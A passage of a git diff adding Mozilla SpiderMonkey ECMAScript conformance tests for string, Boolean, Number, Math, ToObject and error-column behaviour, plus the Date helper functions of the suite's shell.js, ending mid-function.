+++ b/js/src/tests/ecma/extensions/15.5.4.7-3.js
@@ -0,0 +1,127 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.7-3.js
+ ECMA Section: 15.5.4.7 String.prototype.lastIndexOf( searchString, pos)
+ Description:
+
+ If the given searchString appears as a substring of the result of
+ converting this object to a string, at one or more positions that are
+ at or to the left of the specified position, then the index of the
+ rightmost such position is returned; otherwise -1 is returned. If position
+ is undefined or not supplied, the length of this string value is assumed,
+ so as to search all of the string.
+
+ When the lastIndexOf method is called with two arguments searchString and
+ position, the following steps are taken:
+
+ 1.Call ToString, giving it the this value as its argument.
+ 2.Call ToString(searchString).
+ 3.Call ToNumber(position). (If position is undefined or not supplied, this step produces the value NaN).
+ 4.If Result(3) is NaN, use +; otherwise, call ToInteger(Result(3)).
+ 5.Compute the number of characters in Result(1).
+ 6.Compute min(max(Result(4), 0), Result(5)).
+ 7.Compute the number of characters in the string that is Result(2).
+ 8.Compute the largest possible integer k not larger than Result(6) such that k+Result(7) is not greater
+ than Result(5), and for all nonnegative integers j less than Result(7), the character at position k+j of
+ Result(1) is the same as the character at position j of Result(2); but if there is no such integer k, then
+ compute the value -1.
+
+ 1.Return Result(8).
+
+ Note that the lastIndexOf function is intentionally generic; it does not require that its this value be a
+ String object. Therefore it can be transferred to other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+var SECTION = "15.5.4.7-3";
+var VERSION = "ECMA_2";
+startTest();
+var TITLE = "String.protoype.lastIndexOf";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 0 )",
+ -1,
+ eval("var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 0 )") );
+
+new TestCase( SECTION,
+ "var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 1 )",
+ 1,
+ eval("var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 1 )") );
+
+new TestCase( SECTION,
+ "var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 2 )",
+ 1,
+ eval("var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 2 )") );
+
+new TestCase( SECTION,
+ "var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 10 )",
+ 1,
+ eval("var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r', 10 )") );
+
+new TestCase( SECTION,
+ "var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r' )",
+ 1,
+ eval("var b = true; b.__proto__.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('r' )") );
+
+test();
+
+function LastIndexOf( string, search, position ) {
+ string = String( string );
+ search = String( search );
+
+ position = Number( position )
+
+ if ( isNaN( position ) ) {
+ position = Infinity;
+ } else {
+ position = ToInteger( position );
+ }
+
+ result5= string.length;
+ result6 = Math.min(Math.max(position, 0), result5);
+ result7 = search.length;
+
+ if (result7 == 0) {
+ return Math.min(position, result5);
+ }
+
+ result8 = -1;
+
+ for ( k = 0; k <= result6; k++ ) {
+ if ( k+ result7 > result5 ) {
+ break;
+ }
+ for ( j = 0; j < result7; j++ ) {
+ if ( string.charAt(k+j) != search.charAt(j) ){
+ break;
+ } else {
+ if ( j == result7 -1 ) {
+ result8 = k;
+ }
+ }
+ }
+ }
+
+ return result8;
+}
+function ToInteger( n ) {
+ n = Number( n );
+ if ( isNaN(n) ) {
+ return 0;
+ }
+ if ( Math.abs(n) == 0 || Math.abs(n) == Infinity ) {
+ return n;
+ }
+
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ return ( sign * Math.floor(Math.abs(n)) );
+}
diff --git a/js/src/tests/ecma/extensions/15.6.3.1-5.js b/js/src/tests/ecma/extensions/15.6.3.1-5.js
new file mode 100644
index 000000000..05475c692
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.6.3.1-5.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.3.1-5.js
+ ECMA Section: 15.6.3.1 Boolean.prototype
+ Description:
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var VERSION = "ECMA_2";
+startTest();
+var SECTION = "15.6.3.1-5";
+var TITLE = "Boolean.prototype"
+
+ writeHeaderToLog( SECTION + " " + TITLE );
+
+new TestCase( SECTION, "Function.prototype == Boolean.__proto__", true, Function.prototype == Boolean.__proto__ );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.6.3.js b/js/src/tests/ecma/extensions/15.6.3.js
new file mode 100644
index 000000000..76ca00159
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.6.3.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.3.js
+ ECMA Section: 15.6.3 Properties of the Boolean Constructor
+
+ Description: The value of the internal prototype property is
+ the Function prototype object.
+
+ It has the internal [[Call]] and [[Construct]]
+ properties, and the length property.
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+
+*/
+var SECTION = "15.6.3";
+var VERSION = "ECMA_2";
+startTest();
+var TITLE = "Properties of the Boolean Constructor"
+ writeHeaderToLog( SECTION + TITLE );
+
+
+new TestCase( SECTION, "Boolean.__proto__ == Function.prototype", true, Boolean.__proto__ == Function.prototype );
+new TestCase( SECTION, "Boolean.length", 1, Boolean.length );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.6.4-2.js b/js/src/tests/ecma/extensions/15.6.4-2.js
new file mode 100644
index 000000000..c4f994e59
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.6.4-2.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.4-2.js
+ ECMA Section: 15.6.4 Properties of the Boolean Prototype Object
+
+ Description:
+ The Boolean prototype object is itself a Boolean object (its [[Class]] is
+ "Boolean") whose value is false.
+
+ The value of the internal [[Prototype]] property of the Boolean prototype object
+ is the Object prototype object (15.2.3.1).
+
+ Author: christine@netscape.com
+ Date: 30 september 1997
+
+*/
+
+
+var VERSION = "ECMA_2"
+ startTest();
+var SECTION = "15.6.4-2";
+
+writeHeaderToLog( SECTION + " Properties of the Boolean Prototype Object");
+
+new TestCase( SECTION, "Boolean.prototype.__proto__", Object.prototype, Boolean.prototype.__proto__ );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.7.3.js b/js/src/tests/ecma/extensions/15.7.3.js
new file mode 100644
index 000000000..5bf3b5eb6
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.7.3.js
@@ -0,0 +1,35 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.js
+ 15.7.3 Properties of the Number Constructor
+
+ Description: The value of the internal [[Prototype]] property
+ of the Number constructor is the Function prototype
+ object. The Number constructor also has the internal
+ [[Call]] and [[Construct]] properties, and the length
+ property.
+
+ Other properties are in subsequent tests.
+
+ Author: christine@netscape.com
+ Date: 29 september 1997
+*/
+
+var SECTION = "15.7.3";
+var VERSION = "ECMA_2";
+startTest();
+var TITLE = "Properties of the Number Constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(SECTION,
+ "Number.__proto__",
+ Function.prototype,
+ Number.__proto__ );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.7.4.js b/js/src/tests/ecma/extensions/15.7.4.js
new file mode 100644
index 000000000..b62ba4090
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.7.4.js
@@ -0,0 +1,56 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.4.js
+ ECMA Section: 15.7.4
+
+ Description:
+
+ The Number prototype object is itself a Number object (its [[Class]] is
+ "Number") whose value is +0.
+
+ The value of the internal [[Prototype]] property of the Number prototype
+ object is the Object prototype object (15.2.3.1).
+
+ In following descriptions of functions that are properties of the Number
+ prototype object, the phrase "this Number object" refers to the object
+ that is the this value for the invocation of the function; it is an error
+ if this does not refer to an object for which the value of the internal
+ [[Class]] property is "Number". Also, the phrase "this number value" refers
+ to the number value represented by this Number object, that is, the value
+ of the internal [[Value]] property of this Number object.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "15.7.4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Properties of the Number Prototype Object";
+
+writeHeaderToLog( SECTION + " "+TITLE);
+
+new TestCase( SECTION,
+ "Number.prototype.toString=Object.prototype.toString;Number.prototype.toString()",
+ "[object Number]",
+ eval("Number.prototype.toString=Object.prototype.toString;Number.prototype.toString()") );
+
+new TestCase( SECTION,
+ "typeof Number.prototype",
+ "object",
+ typeof Number.prototype );
+
+new TestCase( SECTION,
+ "Number.prototype.valueOf()",
+ 0,
+ Number.prototype.valueOf() );
+
+// The __proto__ property cannot be used in ECMA_1 tests.
+// new TestCase( SECTION, "Number.prototype.__proto__", Object.prototype, Number.prototype.__proto__ );
+// new TestCase( SECTION, "Number.prototype.__proto__ == Object.prototype", true, Number.prototype.__proto__ == Object.prototype );
+
+test();
diff --git a/js/src/tests/ecma/extensions/15.8-1.js b/js/src/tests/ecma/extensions/15.8-1.js
new file mode 100644
index 000000000..ce4b029bb
--- /dev/null
+++ b/js/src/tests/ecma/extensions/15.8-1.js
@@ -0,0 +1,50 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8-1.js
+ ECMA Section: 15.8 The Math Object
+
+ Description:
+
+ The Math object is merely a single object that has some named properties,
+ some of which are functions.
+
+ The value of the internal [[Prototype]] property of the Math object is the
+ Object prototype object (15.2.3.1).
+
+ The Math object does not have a [[Construct]] property; it is not possible
+ to use the Math object as a constructor with the new operator.
+
+ The Math object does not have a [[Call]] property; it is not possible to
+ invoke the Math object as a function.
+
+ Recall that, in this specification, the phrase "the number value for x" has
+ a technical meaning defined in section 8.5.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+
+var SECTION = "15.8-1";
+var VERSION = "ECMA_2";
+startTest();
+var TITLE = "The Math Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.__proto__ == Object.prototype",
+ true,
+ Math.__proto__ == Object.prototype );
+
+new TestCase( SECTION,
+ "Math.__proto__",
+ Object.prototype,
+ Math.__proto__ );
+
+test();
diff --git a/js/src/tests/ecma/extensions/8.6.2.1-1.js b/js/src/tests/ecma/extensions/8.6.2.1-1.js
new file mode 100644
index 000000000..8e9ccd12b
--- /dev/null
+++ b/js/src/tests/ecma/extensions/8.6.2.1-1.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 8.6.2.1-1.js
+ ECMA Section: 8.6.2.1 Get (Value)
+ Description:
+
+ When the [[Get]] method of O is called with property name P, the following
+ steps are taken:
+
+ 1. If O doesn't have a property with name P, go to step 4.
+ 2. Get the value of the property.
+ 3. Return Result(2).
+ 4. If the [[Prototype]] of O is null, return undefined.
+ 5. Call the [[Get]] method of [[Prototype]] with property name P.
+ 6. Return Result(5).
+
+ This tests [[Get]] (Value).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "8.6.2.1-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " [[Get]] (Value)");
+
+new TestCase( SECTION, "var OBJ = new MyValuelessObject(true); OBJ.valueOf()", true, eval("var OBJ = new MyValuelessObject(true); OBJ.valueOf()") );
+// new TestCase( SECTION, "var OBJ = new MyProtoValuelessObject(true); OBJ + ''", "undefined", eval("var OBJ = new MyProtoValuelessObject(); OBJ + ''") );
+new TestCase( SECTION, "var OBJ = new MyProtolessObject(true); OBJ.valueOf()", true, eval("var OBJ = new MyProtolessObject(true); OBJ.valueOf()") );
+
+new TestCase( SECTION, "var OBJ = new MyValuelessObject(Number.POSITIVE_INFINITY); OBJ.valueOf()", Number.POSITIVE_INFINITY, eval("var OBJ = new MyValuelessObject(Number.POSITIVE_INFINITY); OBJ.valueOf()") );
+// new TestCase( SECTION, "var OBJ = new MyProtoValuelessObject(Number.POSITIVE_INFINITY); OBJ + ''", "undefined", eval("var OBJ = new MyProtoValuelessObject(); OBJ + ''") );
+new TestCase( SECTION, "var OBJ = new MyProtolessObject(Number.POSITIVE_INFINITY); OBJ.valueOf()", Number.POSITIVE_INFINITY, eval("var OBJ = new MyProtolessObject(Number.POSITIVE_INFINITY); OBJ.valueOf()") );
+
+new TestCase( SECTION, "var OBJ = new MyValuelessObject('string'); OBJ.valueOf()", 'string', eval("var OBJ = new MyValuelessObject('string'); OBJ.valueOf()") );
+// new TestCase( SECTION, "var OBJ = new MyProtoValuelessObject('string'); OJ + ''", "undefined", eval("var OBJ = new MyProtoValuelessObject(); OBJ + ''") );
+new TestCase( SECTION, "var OBJ = new MyProtolessObject('string'); OBJ.valueOf()", 'string', eval("var OBJ = new MyProtolessObject('string'); OBJ.valueOf()") );
+
+test();
+
+function MyProtoValuelessObject(value) {
+ this.valueOf = new Function ( "" );
+ this.__proto__ = null;
+}
+
+function MyProtolessObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.__proto__ = null;
+ this.value = value;
+}
+function MyValuelessObject(value) {
+ this.__proto__ = new MyPrototypeObject(value);
+}
+function MyPrototypeObject(value) {
+ this.valueOf = new Function( "return this.value;" );
+ this.toString = new Function( "return (this.value + '');" );
+ this.value = value;
+}
diff --git a/js/src/tests/ecma/extensions/9.9-1.js b/js/src/tests/ecma/extensions/9.9-1.js
new file mode 100644
index 000000000..a9312e2c0
--- /dev/null
+++ b/js/src/tests/ecma/extensions/9.9-1.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 9.9-1.js
+ ECMA Section: 9.9 Type Conversion: ToObject
+ Description:
+
+ undefined generate a runtime error
+ null generate a runtime error
+ boolean create a new Boolean object whose default
+ value is the value of the boolean.
+ number Create a new Number object whose default
+ value is the value of the number.
+ string Create a new String object whose default
+ value is the value of the string.
+ object Return the input argument (no conversion).
+ Author: christine@netscape.com
+ Date: 17 july 1997
+*/
+
+var VERSION = "ECMA_1";
+startTest();
+var SECTION = "9.9-1";
+
+writeHeaderToLog( SECTION + " Type Conversion: ToObject" );
+
+new TestCase( SECTION, "(Object(true)).__proto__", Boolean.prototype, (Object(true)).__proto__ );
+
+new TestCase( SECTION, "(Object(true)).__proto__", Boolean.prototype, (Object(true)).__proto__ );
+
+new TestCase( SECTION, "(Object(0)).__proto__", Number.prototype, (Object(0)).__proto__ );
+
+new TestCase( SECTION, "(Object(-0)).__proto__", Number.prototype, (Object(-0)).__proto__ );
+
+new TestCase( SECTION, "(Object(1)).__proto__", Number.prototype, (Object(1)).__proto__ );
+
+new TestCase( SECTION, "(Object(-1)).__proto__", Number.prototype, (Object(-1)).__proto__ );
+
+new TestCase( SECTION, "(Object(Number.MAX_VALUE)).__proto__", Number.prototype, (Object(Number.MAX_VALUE)).__proto__ );
+
+new TestCase( SECTION, "(Object(Number.MIN_VALUE)).__proto__", Number.prototype, (Object(Number.MIN_VALUE)).__proto__ );
+
+new TestCase( SECTION, "(Object(Number.POSITIVE_INFINITY)).__proto__", Number.prototype, (Object(Number.POSITIVE_INFINITY)).__proto__ );
+
+new TestCase( SECTION, "(Object(Number.NEGATIVE_INFINITY)).__proto__", Number.prototype, (Object(Number.NEGATIVE_INFINITY)).__proto__ );
+
+new TestCase( SECTION, "(Object(Number.NaN)).__proto__", Number.prototype, (Object(Number.NaN)).__proto__ );
+
+new TestCase( SECTION, "(Object('a string')).__proto__", String.prototype, (Object("a string")).__proto__ );
+
+new TestCase( SECTION, "(Object('')).__proto__", String.prototype, (Object("")).__proto__ );
+
+new TestCase( SECTION, "(Object('\\r\\t\\b\\n\\v\\f')).__proto__", String.prototype, (Object("\\r\\t\\b\\n\\v\\f")).__proto__ );
+
+new TestCase( SECTION, "Object( '\\\'\\\"\\' ).__proto__", String.prototype, (Object("\'\"\\")).__proto__ );
+
+new TestCase( SECTION, "(Object( new MyObject(true) )).toString()", "[object Object]", eval("(Object( new MyObject(true) )).toString()") );
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.valueOf = new Function ( "return this.value" );
+}
diff --git a/js/src/tests/ecma/extensions/browser.js b/js/src/tests/ecma/extensions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/extensions/browser.js
diff --git a/js/src/tests/ecma/extensions/errorcolumnblame.js b/js/src/tests/ecma/extensions/errorcolumnblame.js
new file mode 100644
index 000000000..08d84e5a6
--- /dev/null
+++ b/js/src/tests/ecma/extensions/errorcolumnblame.js
@@ -0,0 +1,79 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 568142;
+var summary = 'error reporting blames column as well as line';
+
+function test(f, col) {
+ var caught = false;
+ try {
+ f();
+ } catch (e) {
+ caught = true;
+ assertEq(e.columnNumber, col);
+ }
+ assertEq(caught, true);
+}
+
+/* Note single hard tab before return! */
+function foo(o) {
+ return o.p;
+}
+test(foo, 2);
+
+//345678901234567890
+test(function(f) { return f.bar; }, 20);
+// 1 2
+//3456789012345678901234567
+test(function(f) { return f(); }, 27);
+/* Cover negative colspan case using for(;;) loop with error in update part. */
+test(function(){
+ // 1 2 3 4
+ //123456789012345678901234567890123456789012
+ eval("function baz() { for (var i = 0; i < 10; i += a.b); assertEq(i !== i, true); }");
+ baz();
+}, 42);
+
+// 1 2 3
+//3456789012345678901234567890123456
+test(function() { var tmp = null; tmp(); }, 35)
+test(function() { var tmp = null; tmp.foo; }, 36)
+
+/* Just a generic 'throw'. */
+test(function() {
+// 1 2
+//345678901234567890
+ foo({}); throw new Error('a');
+}, 20);
+
+/* Be sure to report the right statement */
+test(function() {
+ function f() { return true; }
+ function g() { return false; }
+// 1 2
+//345678901234567890123456789
+ f(); g(); f(); if (f()) a += e;
+}, 29);
+
+// 1 2
+//345678901234567890
+test(function() { e++; }, 19);
+test(function() {print += e; }, 18);
+test(function(){e += 1 }, 17);
+test(function() { print[e]; }, 20);
+test(function() { e[1]; }, 19);
+test(function() { e(); }, 19);
+test(function() { 1(); }, 19);
+test(function() { Object.defineProperty() }, 19);
+
+test(function() {
+// 1 2
+//34567890123456789012
+ function foo() { asdf; } foo()
+}, 22);
+
+reportCompare(0, 0, "ok");
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/ecma/extensions/shell.js b/js/src/tests/ecma/extensions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/extensions/shell.js
diff --git a/js/src/tests/ecma/shell.js b/js/src/tests/ecma/shell.js
new file mode 100644
index 000000000..1927eb5dc
--- /dev/null
+++ b/js/src/tests/ecma/shell.js
@@ -0,0 +1,651 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/*
+ * Date functions used by tests in Date suite
+ *
+ */
+var msPerYear = 31536000000;
+var msPerDay = 86400000;
+var HoursPerDay = 24;
+var MinutesPerHour = 60;
+var SecondsPerMinute = 60;
+var msPerSecond = 1000;
+var msPerMinute = 60000; // msPerSecond * SecondsPerMinute
+var msPerHour = 3600000; // msPerMinute * MinutesPerHour
+
+var TZ_PST = -8; // offset of Pacific Standard Time from UTC
+var TZ_DIFF_RAW = GetRawTimezoneOffset(); // raw offset of tester's timezone from UTC
+var TZ_DIFF = GetTimezoneOffset(); // offset of tester's timezone from UTC
+var PST_DIFF_RAW = TZ_DIFF_RAW - TZ_PST; // raw offset of tester's timezone from PST
+var PST_DIFF = TZ_DIFF - TZ_PST; // offset of tester's timezone from PST
+var TZ_ADJUST = TZ_DIFF_RAW * msPerHour;
+var PST_ADJUST = TZ_PST * msPerHour;
+
+var DST_PERIOD = DaylightSavingPeriod(); // time period when DST is used
+var DST_1970 = DaylightSavingObserved(1970); // Was DST observed in 1970?
+var DST_1971 = DaylightSavingObserved(1971); // Was DST observed in 1971?
+
+var TIME_0000 = (function ()
+ { // calculate time for year 0
+ for ( var time = 0, year = 1969; year >= 0; year-- ) {
+ time -= TimeInYear(year);
+ }
+ return time;
+ })();
+var TIME_1970 = 0;
+var TIME_2000 = 946684800000;
+var TIME_1900 = -2208988800000;
+var UTC_FEB_29_2000 = TIME_2000 + 31*msPerDay + 28*msPerDay;
+var UTC_JAN_1_2005 = TIME_2000 + TimeInYear(2000) + TimeInYear(2001) +
+ TimeInYear(2002) + TimeInYear(2003) + TimeInYear(2004);
+var now = new Date();
+var TIME_NOW = now.valueOf(); //valueOf() is to accurate to the millisecond
+ //Date.parse() is accurate only to the second
+
+/*
+ * Originally, the test suite used a hard-coded value TZ_DIFF = -8.
+ * But that was only valid for testers in the Pacific Standard Time Zone!
+ * We calculate the proper number dynamically for any tester. We just
+ * have to be careful not to use a date subject to Daylight Savings Time...
+ */
+function GetRawTimezoneOffset()
+{
+ var t1 = new Date(2000, 1, 1).getTimezoneOffset();
+ var t2 = new Date(2000, 1 + 6, 1).getTimezoneOffset();
+ if ((t1 - t2) >= 0) {
+ // 1) timezone without daylight saving time
+ // 2) northern hemisphere with daylight saving time
+ return -t1 / MinutesPerHour;
+ } else {
+ // 3) southern hemisphere with daylight saving time
+ return -t2 / MinutesPerHour;
+ }
+}
+
+/*
+ * Returns the timezone offset, possibly including daylight saving time.
+ * (This function is only used to obtain the relative timezone offset to PST,
+ * see TZ_DIFF and PST_DIFF in adjustResultArray().)
+ */
+function GetTimezoneOffset()
+{
+ return -(new Date(2000, 1, 1).getTimezoneOffset()) / MinutesPerHour;
+}
+
+/*
+ * Determine when daylight saving time is used in the current timezone.
+ */
+function DaylightSavingPeriod()
+{
+ var t1 = new Date(2000, 1, 1).getTimezoneOffset();
+ var t2 = new Date(2000, 1 + 6, 1).getTimezoneOffset();
+ if (t1 == t2) {
+ // timezone without daylight saving time
+ return 0;
+ } else if ((t1 - t2) > 0) {
+ // northern hemisphere with daylight saving time
+ return 1;
+ } else {
+ // southern hemisphere with daylight saving time
+ return -1;
+ }
+}
+
+/*
+ * Test whether daylight time saving was observed in the supplied year
+ */
+function DaylightSavingObserved(y)
+{
+ var t1 = new Date(y, 1, 1).getTimezoneOffset();
+ var t2 = new Date(y, 1 + 6, 1).getTimezoneOffset();
+ return (t1 != t2);
+}
+
+/*
+ * Don't apply DST near start of epoch unless absolutely necessary
+ */
+function IgnoreDaylightSaving(t)
+{
+ if ((0 <= t && t < msPerYear) && !DST_1970) {
+ return true;
+ }
+ if ((msPerYear <= t && t < 2*msPerYear) && !DST_1971) {
+ return true;
+ }
+ return false;
+}
+
+/*
+ * Date test "ResultArrays" are hard-coded for Pacific Standard Time.
+ * We must adjust them for the tester's own timezone -
+ */
+function adjustResultArray(ResultArray, msMode)
+{
+ // If the tester's system clock is in PST, no need to continue -
+// if (!PST_DIFF) {return;}
+
+ /* The date testcases instantiate Date objects in two different ways:
+ *
+ * millisecond mode: e.g. dt = new Date(10000000);
+ * year-month-day mode: dt = new Date(2000, 5, 1, ...);
+ *
+ * In the first case, the date is measured from Time 0 in Greenwich (i.e. UTC).
+ * In the second case, it is measured with reference to the tester's local timezone.
+ *
+ * In the first case we must correct those values expected for local measurements,
+ * like dt.getHours() etc. No correction is necessary for dt.getUTCHours() etc.
+ *
+ * In the second case, it is exactly the other way around -
+ */
+ if (msMode)
+ {
+ // The hard-coded UTC milliseconds from Time 0 derives from a UTC date.
+ // Shift to the right by the offset between UTC and the tester.
+ if (IgnoreDaylightSaving(ResultArray[TIME])) {
+ var t = ResultArray[TIME] + TZ_DIFF_RAW*msPerHour;
+ } else {
+ var t = ResultArray[TIME] + TZ_DIFF*msPerHour;
+ }
+
+ // Use our date arithmetic functions to determine the local hour, day, etc.
+ ResultArray[HOURS] = HourFromTime(t);
+ ResultArray[DAY] = WeekDay(t);
+ ResultArray[DATE] = DateFromTime(t);
+ ResultArray[MONTH] = MonthFromTime(t);
+ ResultArray[YEAR] = YearFromTime(t);
+ }
+ else
+ {
+ // The hard-coded UTC milliseconds from Time 0 derives from a PST date.
+ // Shift to the left by the offset between PST and the tester.
+ var t = ResultArray[TIME] - PST_DIFF*msPerHour;
+
+ // Use our date arithmetic functions to determine the UTC hour, day, etc.
+ ResultArray[TIME] = t;
+ ResultArray[UTC_HOURS] = HourFromTime(t);
+ ResultArray[UTC_DAY] = WeekDay(t);
+ ResultArray[UTC_DATE] = DateFromTime(t);
+ ResultArray[UTC_MONTH] = MonthFromTime(t);
+ ResultArray[UTC_YEAR] = YearFromTime(t);
+ }
+}
+
+function Day( t ) {
+ return ( Math.floor(t/msPerDay ) );
+}
+function DaysInYear( y ) {
+ if ( y % 4 != 0 ) {
+ return 365;
+ }
+ if ( (y % 4 == 0) && (y % 100 != 0) ) {
+ return 366;
+ }
+ if ( (y % 100 == 0) && (y % 400 != 0) ) {
+ return 365;
+ }
+ if ( (y % 400 == 0) ){
+ return 366;
+ } else {
+ return "ERROR: DaysInYear(" + y + ") case not covered";
+ }
+}
+function TimeInYear( y ) {
+ return ( DaysInYear(y) * msPerDay );
+}
+function DayNumber( t ) {
+ return ( Math.floor( t / msPerDay ) );
+}
+function TimeWithinDay( t ) {
+
+ var r = t % msPerDay;
+
+ if (r < 0)
+ {
+ r += msPerDay;
+ }
+ return r;
+
+}
+function YearNumber( t ) {
+}
+function TimeFromYear( y ) {
+ return ( msPerDay * DayFromYear(y) );
+}
+function DayFromYear( y ) {
+ return ( 365*(y-1970) +
+ Math.floor((y-1969)/4) -
+ Math.floor((y-1901)/100) +
+ Math.floor((y-1601)/400) );
+}
+function InLeapYear( t ) {
+ if ( DaysInYear(YearFromTime(t)) == 365 ) {
+ return 0;
+ }
+ if ( DaysInYear(YearFromTime(t)) == 366 ) {
+ return 1;
+ } else {
+ return "ERROR: InLeapYear("+ t + ") case not covered";
+ }
+}
+function YearFromTime( t ) {
+ t = Number( t );
+ var sign = ( t < 0 ) ? -1 : 1;
+ var year = ( sign < 0 ) ? 1969 : 1970;
+ for ( var timeToTimeZero = t; ; ) {
+ // subtract the current year's time from the time that's left.
+ timeToTimeZero -= sign * TimeInYear(year)
+
+ // if there's less than the current year's worth of time left, then break.
+ if ( sign < 0 ) {
+ if ( sign * timeToTimeZero <= 0 ) {
+ break;
+ } else {
+ year += sign;
+ }
+ } else {
+ if ( sign * timeToTimeZero < 0 ) {
+ break;
+ } else {
+ year += sign;
+ }
+ }
+ }
+ return ( year );
+}
+function MonthFromTime( t ) {
+ // i know i could use switch but i'd rather not until it's part of ECMA
+ var day = DayWithinYear( t );
+ var leap = InLeapYear(t);
+
+ if ( (0 <= day) && (day < 31) ) {
+ return 0;
+ }
+ if ( (31 <= day) && (day < (59+leap)) ) {
+ return 1;
+ }
+ if ( ((59+leap) <= day) && (day < (90+leap)) ) {
+ return 2;
+ }
+ if ( ((90+leap) <= day) && (day < (120+leap)) ) {
+ return 3;
+ }
+ if ( ((120+leap) <= day) && (day < (151+leap)) ) {
+ return 4;
+ }
+ if ( ((151+leap) <= day) && (day < (181+leap)) ) {
+ return 5;
+ }
+ if ( ((181+leap) <= day) && (day < (212+leap)) ) {
+ return 6;
+ }
+ if ( ((212+leap) <= day) && (day < (243+leap)) ) {
+ return 7;
+ }
+ if ( ((243+leap) <= day) && (day < (273+leap)) ) {
+ return 8;
